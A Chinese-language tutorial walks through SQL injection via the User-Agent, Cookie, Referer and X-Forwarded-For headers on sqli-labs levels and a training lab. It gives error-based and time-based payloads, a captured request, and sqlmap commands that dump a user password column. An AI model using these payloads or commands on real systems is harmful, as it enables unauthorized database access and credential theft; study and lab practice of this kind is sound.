1.HTTP头注入
常见的sql注入一般是通过请求参数或者表单进行注入,而HTTP头部注入是通过HTTP协议头部字段值进行注入。http头注入常存在于以下地方
产生注入的条件:
- 能够对请求头消息进行修改
- 修改的请求头信息能够带入数据库进行查询
- 数据库没有对输入的请求信息做过滤
1. User-Agent注入
User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中。
以sqli-labs less-18关为例,登录用户密码:dumb ,0
1.1 判断注入点:user-agent值后面加上',引发报错,确定存在sql注入
1.2 采用报错注入函数获取当前数据库名
' and updatexml(1,concat('^',(database()),'^'),1) and '
(1,concat('^',(database()),'^'),1)
:这里的意图是使用concat
函数来构造一个字符串,该字符串以^
字符开始和结束,并包含当前数据库的名称。database()
是一个SQL函数,返回当前数据库的名称。
2. cookie注入
cookie:服务器端用来记录客户端的状态。由服务端产生,保存在浏览器中。传送门-》cookie 。以sqli-labs less-20关为例,登录后
2.1 首先判断注入点,加 ' 单引号报错
2.2 采用报错注入函数获取当前数据库名
' and updatexml(1,concat('^',(database()),'^'),1) and '
3. Referer注入
Referer:是HTTP header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
以19关为例
1. 判断输入点,加单引号引发报错
2. 使用报错注入函数:
‘ and updatexml(1,concat(0x7e,(database()),0x7e),0) and '
4. X-Forwarded-For 注入
X-Forwarded-For(XFF):用来识别客户端最原始的ip地址。
什么是X-Forwarded-For
X-Forwarded-For:简称XFF头,代表了HTTP的请求端真实的IP。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件[通过修改XXF头可以实现伪造IP])。
XFF,是X-Forwarded-for的缩写,属于SQL注入的一种,该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,达到欺骗服务器执行恶意的SQL命令的效果,从而可以得到网站的数据库内容。
X-Forwarded-For sql注入
靶机来源于:墨者学院
输入任意的用户名和密码点击登录后显示,非法登录,服务器记录了我们的ip地址。也就是说将该IP写到了数据库中;竟然跟数据库有交互,那么可以猜想,此处可能存在SQL注入漏洞;接下来继续确认
服务器端获取IP地址的方式
服务端获取客户端IP地址的方式,其中一种是通过读取请求中X-Forwarded-For的字段值,确认服务端是不是使用这种方式获取客户端IP地址;编辑刚才的请求,在请求头中加入X-Forwarded-For:111,111,111,111(这个是我们伪造的IP地址,随便填一个合法的IP地址即可),然后重新发送。可以看到随意填的一个ip地址也被记录了。这就确认了服务端是通过读取X-Forwarded-For的字段值来获取客户端的ip地址的
验证服务端通过X-Forwarded-For读取ip地址时是否进行了过滤
当我们在111.111.111.111' 加上' 是,服务器显示sql语法错误。进行poc的构造 ' and sleep(10) and '1'='1,服务器成功延时10秒进行响应,说明肯定存在sql注入
POST /index.php HTTP/1.1
Host: 124.70.64.48:40967
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://124.70.64.48:40967
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For:*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://124.70.64.48:40967/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=admin&password=admin
将请求包复制下来
使用sqlmap
python .\sqlmap.py -r .\xxx.txt --dbs --batch
python .\sqlmap.py -r .\xxx.txt -D webcalendar --tables --batch
python .\sqlmap.py -r .\xxx.txt -D webcalendar -T user --columns --batch
提取数据
python .\sqlmap.py -r .\xxx.txt -D webcalendar -T user -C password --dump --batch